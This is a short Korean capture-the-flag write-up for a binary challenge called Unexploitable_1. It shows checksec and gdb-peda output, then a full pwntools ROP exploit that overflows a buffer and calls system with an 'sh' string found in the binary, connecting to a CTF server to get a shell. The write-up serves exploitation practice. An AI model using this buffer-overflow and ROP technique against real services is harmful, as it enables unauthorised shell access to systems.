gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
ASLR 보호기법도 안걸려 있는 문제다. 이 문제의 핵심은 '쉘을 따기 위한 system('/bin/sh') 에서 /bin/sh 이 아닌 다른 방법을 이용할 수 있는가' 이다.
system('sh')을 실행해도 shell을 딸 수 있으므로 sh문자열이 있는 부분을 찾으면 아래와 같다.
gdb-peda$ find 'sh'
Searching for 'sh' in: None ranges
Found 101 results, display max 101 items:
Unexploitable_1 : 0x4003bf --> 0x6e69647473006873 ('sh')
Unexploitable_1 : 0x6003bf --> 0x6e69647473006873 ('sh')
0x4003bf에 'sh'문자열이 있는 것을 확인. 바로 공격 진행하면 된다.
Exploit Code
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3023)
context.log_level = 'debug'
e = ELF('./Unexploitable_1')
pr = 0x00000000004007d3
sh = 0x4003bf
system_plt = e.plt['system']
# ROP
pay = 'A' * 0x18
pay += p64(pr)
pay += p64(sh)
pay += p64(system_plt)
p.sendline(pay)
p.interactive()